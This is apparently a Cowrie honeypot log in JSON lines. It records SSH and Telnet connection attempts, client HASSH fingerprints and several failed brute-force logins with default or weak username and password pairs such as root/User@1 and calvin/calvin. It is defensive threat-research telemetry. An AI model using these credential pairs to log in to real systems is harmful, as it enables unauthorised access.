{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:05.107393Z","src_ip":"91.92.42.227","session":"d463026d181b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:07.835027Z","src_ip":"91.92.42.227","session":"d463026d181b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":43426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b792c5370fbc","protocol":"telnet","message":"New connection: 128.199.209.169:43426 (159.203.135.109:23) [session: b792c5370fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.003208Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54020,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce73475e859","protocol":"ssh","message":"New connection: 27.71.230.31:54020 (159.203.135.109:22) [session: dce73475e859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.328212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.412245Z","src_ip":"27.71.230.31","session":"dce73475e859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53718,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d2338adb19","protocol":"ssh","message":"New connection: 45.156.87.147:53718 (10.17.0.5:22) [session: 18d2338adb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.444834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.449418Z","src_ip":"45.156.87.147","session":"18d2338adb19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.531790Z","src_ip":"45.156.87.147","session":"18d2338adb19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456789","message":"login attempt [fastuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:09.790054Z","src_ip":"45.156.87.147","session":"18d2338adb19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:10.004519Z","src_ip":"91.92.42.227","session":"d463026d181b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:10.682894Z","src_ip":"27.71.230.31","session":"dce73475e859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:10.875452Z","src_ip":"45.156.87.147","session":"18d2338adb19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37216,"dst_ip":"10.17.0.5","dst_port":22,"session":"98046d09104c","protocol":"ssh","message":"New connection: 91.92.42.227:37216 (10.17.0.5:22) [session: 98046d09104c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:10.976663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:11.705062Z","src_ip":"91.92.42.227","session":"98046d09104c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:11.737999Z","src_ip":"91.92.42.227","session":"98046d09104c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"1q2w3e4r","message":"login attempt [systemd/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:15.137352Z","src_ip":"91.92.42.227","session":"98046d09104c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53728,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c320ec4b05d","protocol":"ssh","message":"New connection: 45.156.87.147:53728 (10.17.0.5:22) [session: 5c320ec4b05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:15.691359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:15.694915Z","src_ip":"45.156.87.147","session":"5c320ec4b05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:15.779239Z","src_ip":"45.156.87.147","session":"5c320ec4b05d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:16.115170Z","src_ip":"45.156.87.147","session":"5c320ec4b05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:17.142932Z","src_ip":"91.92.42.227","session":"98046d09104c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:17.202890Z","src_ip":"45.156.87.147","session":"5c320ec4b05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45110,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c8b4234ea29","protocol":"ssh","message":"New connection: 91.92.42.227:45110 (10.17.0.5:22) [session: 4c8b4234ea29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:17.432701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:18.361109Z","src_ip":"91.92.42.227","session":"4c8b4234ea29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:18.364692Z","src_ip":"91.92.42.227","session":"4c8b4234ea29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49126,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e396ab4f43","protocol":"ssh","message":"New connection: 194.59.206.2:49126 (10.17.0.5:22) [session: 51e396ab4f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:19.770022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:19.773422Z","src_ip":"194.59.206.2","session":"51e396ab4f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:19.862504Z","src_ip":"194.59.206.2","session":"51e396ab4f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:19.957865Z","src_ip":"194.59.206.2","session":"51e396ab4f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@1","message":"login attempt [root/User@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:20.726232Z","src_ip":"27.71.230.31","session":"dce73475e859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55656,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d3f5f4240e8","protocol":"ssh","message":"New connection: 45.156.87.147:55656 (10.17.0.5:22) [session: 9d3f5f4240e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:21.914667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:21.918353Z","src_ip":"45.156.87.147","session":"9d3f5f4240e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:21.999955Z","src_ip":"45.156.87.147","session":"9d3f5f4240e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:22.252486Z","src_ip":"45.156.87.147","session":"9d3f5f4240e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:23.342595Z","src_ip":"45.156.87.147","session":"9d3f5f4240e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:23.418053Z","src_ip":"91.92.42.227","session":"4c8b4234ea29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45170,"dst_ip":"10.17.0.5","dst_port":22,"session":"030826b22583","protocol":"ssh","message":"New connection: 91.92.42.227:45170 (10.17.0.5:22) [session: 030826b22583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:23.994572Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:24.279427Z","src_ip":"27.71.230.31","session":"dce73475e859","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:25.043827Z","src_ip":"91.92.42.227","session":"030826b22583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 